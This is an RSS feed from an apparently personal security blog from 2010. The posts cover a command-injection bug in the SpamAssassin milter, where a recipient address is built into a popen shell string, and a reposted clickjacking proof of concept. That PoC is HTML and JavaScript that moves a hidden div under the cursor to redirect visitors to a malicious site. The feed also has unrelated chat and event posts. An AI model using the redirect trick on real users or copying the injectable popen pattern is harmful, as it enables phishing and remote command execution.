Xanda's Blog !~! http://blog.xanda.org Human Knowledge Belongs To The World. Tue, 09 Mar 2010 14:08:16 +0000 en hourly 1 SpamAssassin Milter Plugin ‘mlfi_envrcpt()’ Remote Arbitrary Command Injection Vulnerability http://blog.xanda.org/2010/03/09/spamassassin-milter-plugin-mlfi_envrcpt-remote-arbitrary-command-injection-vulnerability/ http://blog.xanda.org/2010/03/09/spamassassin-milter-plugin-mlfi_envrcpt-remote-arbitrary-command-injection-vulnerability/#comments Tue, 09 Mar 2010 14:07:36 +0000 xanda http://blog.xanda.org/?p=1077 Can you spot the bug? :) 

mlfi_envrcpt(SMFICTX* ctx, char** envrcpt)
{
        struct context *sctx = (struct context*)smfi_getpriv(ctx);
        SpamAssassin* assassin = sctx->assassin;
        FILE *p;
#if defined(__FreeBSD__)
        int rv;
#endif
 
        debug(D_FUNC, "mlfi_envrcpt: enter");
 
        if (flag_expand)
        {
                /* open a pipe to sendmail so we can do addressexpansion */
 
                char buf[1024];
                char *fmt="%s -bv \"%s\" 2>&1";
 
#if defined(HAVE_SNPRINTF)
                snprintf(buf, sizeof(buf)-1, fmt, SENDMAIL, envrcpt[0]);
#else
                sprintf(buf, fmt, SENDMAIL, envrcpt[0]);
#endif
 
                debug(D_RCPT, "calling %s", buf);
 
#if defined(__FreeBSD__) /* popen bug - see PR bin/50770 */
                rv = pthread_mutex_lock(&popen_mutex);
                if (rv)
                {
                        debug(D_ALWAYS, "Could not lock popen mutex: %s", strerror(rv));
                        abort();
                }
#endif
 
                p = popen(buf, "r");
                if (!p)
                {
                        debug(D_RCPT, "popen failed(%s).  Will not expand aliases", strerror(errno));
                        assassin->expandedrcpt.push_back(envrcpt[0]);
]]> http://blog.xanda.org/2010/03/09/spamassassin-milter-plugin-mlfi_envrcpt-remote-arbitrary-command-injection-vulnerability/feed/ 0 Phishing or Clickjacking? http://blog.xanda.org/2010/02/26/phishing-or-clickjacking/ http://blog.xanda.org/2010/02/26/phishing-or-clickjacking/#comments Thu, 25 Feb 2010 16:04:17 +0000 xanda http://blog.xanda.org/?p=1070 I was about to shutdown my machine and go to sleep but suddenly my RSS reader popping up new feeds.

Here is one thing that made me smile:

Mozilla firefox 3.6 unpatched phishing vulnerability

From: bugsbanned () hushmail com
Date: Wed, 24 Feb 2010 19:29:33 -0300

…Unpatched bug since Mozilla firefox 3.0…

Mozilla “INsecurity team” remember, security through obscurity just
DOESN’T WORK…
Locking down bugzilla advisories even the 2 years old ones is
unnecessary and lame.

<html>
<body>
<div id=”mydiv”
onmouseover=”document.location=’http://Maliciouswebsite’;”
style=”position:absolute;width:2px;height:2px;background:#FFFFFF;bor
der:0px”></div>
<script>
function updatebox(evt) {
mouseX=evt.pageX?evt.pageX:evt.clientX;
mouseY=evt.pageY?evt.pageY:evt.clientY;
document.getElementById(‘mydiv’).style.left=mouseX-1;
document.getElementById(‘mydiv’).style.top=mouseY-1;
}
</script>
<br>
<a href=”http://trustedwebsite”; onclick=”updatebox(event)”><font
style=”font-family:arial;font-size:32px”>http://trusted
website</font></a><br>

</div>
</body>
</html>

For example:

<html>
<body>
<div id=”mydiv”
onmouseover=”document.location=’http://www.wikipedia.org’;”
style=”position:absolute;width:2px;height:2px;background:#FFFFFF;bor
der:0px”></div>
<script>
function updatebox(evt) {
mouseX=evt.pageX?evt.pageX:evt.clientX;
mouseY=evt.pageY?evt.pageY:evt.clientY;
document.getElementById(‘mydiv’).style.left=mouseX-1;
document.getElementById(‘mydiv’).style.top=mouseY-1;
}
</script>
<br>
<a href=”http://www.google.com”; onclick=”updatebox(event)”><font
style=”font-family:arial;font-
size:32px”>http://www.google.com</font></a><br>

</div>
</body>
</html>

Source:www exploit-db com

Phishing huh? To me its clickjacking :)

Source: http://seclists.org/fulldisclosure/2010/Feb/434

P/S: Owh ya, NoScript is one of my best friend and he wants to be your best friend to ;)

]]> http://blog.xanda.org/2010/02/26/phishing-or-clickjacking/feed/ 2 Mangsa :: salawank http://blog.xanda.org/2010/02/25/mangsa-salawank/ http://blog.xanda.org/2010/02/25/mangsa-salawank/#comments Thu, 25 Feb 2010 15:09:27 +0000 xanda http://blog.xanda.org/?p=1068 
<xanda> salawank: livescore2facebook aku dah cun.. nanti aku release source code.. 
<xanda> salawank: world cup nie.. mesti dapat sambutan nie
<salawank> xanda: nice.. aku usya, nak2 time dia inform chelase kalah
<salawank> hoho
<salawank> xanda: code dlm ruby ke?
<xanda> salawank: asal nye aku code ruby
<xanda> salawank: last last...
<salawank> php
<xanda> salawank: tak.. ruby la.. buat apa nak tuka2?
<salawank> siot
<xanda> HAHAHAHA
]]> http://blog.xanda.org/2010/02/25/mangsa-salawank/feed/ 3 XandaForceHTTPS Updated http://blog.xanda.org/2010/02/25/xandaforcehttps-updated/ http://blog.xanda.org/2010/02/25/xandaforcehttps-updated/#comments Thu, 25 Feb 2010 02:29:58 +0000 xanda http://blog.xanda.org/?p=1066

XandaForceHTTPS updated. Now with Firefox 3.6.* support. Requested by LinuxMalaysia

Read more HERE

]]> http://blog.xanda.org/2010/02/25/xandaforcehttps-updated/feed/ 0 Maulidurrasul di Yayasan Al Jenderami http://blog.xanda.org/2010/02/22/maulidurrasul-di-yayasan-al-jenderami/ http://blog.xanda.org/2010/02/22/maulidurrasul-di-yayasan-al-jenderami/#comments Mon, 22 Feb 2010 05:13:00 +0000 xanda http://blog.xanda.org/?p=1063

Tema: “Tradisi Salafussoleh Benteng Ahli Sunnah Wal Jamaah”

Tarikh: 18hb – 20hb Rabi’ul Awal 1431 (Khamis, Jumaat dan Sabtu) bersamaan 4hb – 6hb Mac 2010

Tempat: Kompleks Yayasan Al-Jenderami, Kg Jenderam Hilir, 43800 Dengkil, Selangor DE

[read more HERE]

]]> http://blog.xanda.org/2010/02/22/maulidurrasul-di-yayasan-al-jenderami/feed/ 0